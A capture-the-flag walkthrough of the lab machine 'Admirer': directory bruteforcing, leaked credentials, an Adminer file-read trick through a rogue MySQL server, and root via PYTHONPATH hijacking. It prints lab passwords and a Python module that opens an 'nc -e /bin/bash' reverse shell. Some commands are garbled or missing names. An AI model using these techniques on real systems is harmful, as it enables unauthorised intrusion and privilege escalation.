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Initian Recon

sudo nmap -sS -sC -sV > rec_ini

From the initial recon I find the following things :

  1. The ftp server is open

  2. The ssh is open which might be useful later on

  3. The http port is open -

There is an admir-dir There is a robots.txt which has one disallowed entry

  1. The http name of the box is Admirer

During this time let the complete port scan run in the background

sudo nmap -p- -T5 > all_ports

The webpage looks something as follows :

We see that it has several images and those images can be viewed by clicking on them

After visiting robots.txt we get the following :

User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

This means that it is supposed to disallow /admin-dir. Upon Visiting it showed 403 Forbidden.

We get a potential username : waldo

Also, all ports scan doesn’t return anything either.

Directory Bruteforcing

Now, I’ll try to bruteforce the directories for the main web page as well as the diectories of adimin-dir using some commong extension. I’ll use gobuster for this :

gobuster dir -u -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

To check if the website is running on php or html, try adding index.php and index.html at the end of the address. Whichever will give an Ok response it is running on that. Then I can bruteforce for those types of file contents.

I found out that the website is giving reponse for index.php. If you click on the link on Admirer of skills and Visuals it will try to access index.html which will give a reponse error. So, I’ll try to bruteforce files with .php extensions and also files with .txt extension :

gobuster dir -u -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
2020/07/05 12:51:41 Starting gobuster
/.hta (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/assets (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
2020/07/05 12:55:13 Finished

Not much useful reponse was given by the main webpage. So I will bruteforce the admin-dir

I got the following responses for admin-dir

gobuster dir -u -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt
[+] Timeout:        10s
2020/07/05 12:59:11 Starting gobuster
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/contacts.txt (Status: 200)
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
/credentials.txt (Status: 200)
2020/07/05 13:02:53 Finished

It shows that contacts.txt and credentials.txt are present in the admin-dir



In the contact.txt file, we have the following usernames and their email ids :

# admins #
# Penny
Email: p.wise@admirer.htb

# developers #
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb

# designers #
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

For the credentials.txt file,we have the following usernames and password :

[Internal mail account]

[FTP account]

[Wordpress account]

Username and password found for the FTP service

FTP user :

ftpuser : %n?4Wz}R$tTF7

Therefore, we successfully login to ftp.

Found the following files on ftp :

Get the following file using :

ftp>get dumo.sql
ftp>get html.tar.gz

There was nothing useful in the sql dump file.

After extracting the html file, the following folders were recovered :

  1. assets

  2. utility_scripts

  3. w4ld0s_s3cr3t_d1r

  4. images

In the utility scripts folder, the following files were found :

  1. admin_tasks.php

  2. db_admin.php

  3. info.php

  4. phptest.php

Inside db_admin.php, the following username and password was found :

waldo : Wh3r3_1s_w4ld0?

It appears to connect to the sql server.

The info.php just gives the phpinfo(). And the phptest.php is just a test file .

The admin_tasks.php file is accessibe through the utility scripts directory.

One can submit some queries in that the interface.

Tried to access db_admin.php but says file not found

gobuster dir -u -w /usr/share/wordlists/SecLists/Discorvery/Web-Content/big.txt -x php

Upon performing directory bruteforce on the utility-scripts folder, adminer.php was found.

Adminer is a database management system in a single php file.

The creds found till now don’t work on the adminer.php.


For the Adminer version 4.6.2 the following vulnerability was found, which will allow the attacker to get dump of the Adminer database.

  1. Create a database on my machine

  2. Create a single column in the database

  3. Connect to my own database from the adminer service of the target machine.

For the first part I had to create a database called admirer :

create database admirer;
create user ‘demo’@’%’ identified by ‘demo_admirer’;
grant all privileges on * . * to ‘demo’@’%’;
flush privileges;
use admirer;
create table test(data varchar(255));

Then you need to allow remote access to the mysql server.

For this you need to find out where the default configuration files are stored :

mysqld --help --verbose | less

Look for Default files

sudo vim /etc/mysql/my.cnf

Add the following lines at the end of the file :


Restart the mysql server and login to the Adminer page using the following creds :

demo : demo_admirer

Database as : admirer

Go to the SQLCOMMAND section and add the following commands to load the index.php :

load data local infile ‘../index.php’
into table test
fields terminated by “/n”

Click on select, you’ll be shown the index.php file :

In the index.php we can find the credentials :

waldo : &<h5b~yK3F#{PaPB&dA}{H>

Try ssh into the box as waldo with this password.

This will give the waldo user


Upon checking the sudo permissions this is what I get :

This say that a script called can be executed by the user as root. Also another python file called is in the same folder :

This portion of the script calls the script

This script creates a backup of the html folder.


from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

In the sudo permission we saw the following lines

 (ALL) SETENV: /opt/scripts/

This means that we can use the setenv command to set our own environment variable as root

As the and the both are non-writable, we can use the shutil as our environment variable from where python retrieves the modules.

The PYTHONPATH environment variable is used for retrieving the python modules.

First we need to create our own shutil environment variable :

import os

def make_archinve(a,b,c):
	os.system("nc 1331 -e '/bin/bash'")

The make_archive function needs 3 parameter. Call the system function to connect to your listener.

User setenv command to set the PYTHONPATH environment variable :

mkdir /tmp/privesc
mv privesc/
sudo setenv PYTHONPATH=/tmp/privesc /opt/scripts/

As soon as the PYTHONPATH environment variable is set, the script will be run and it will ask to backup which file. Select Web content :

This will give the root shell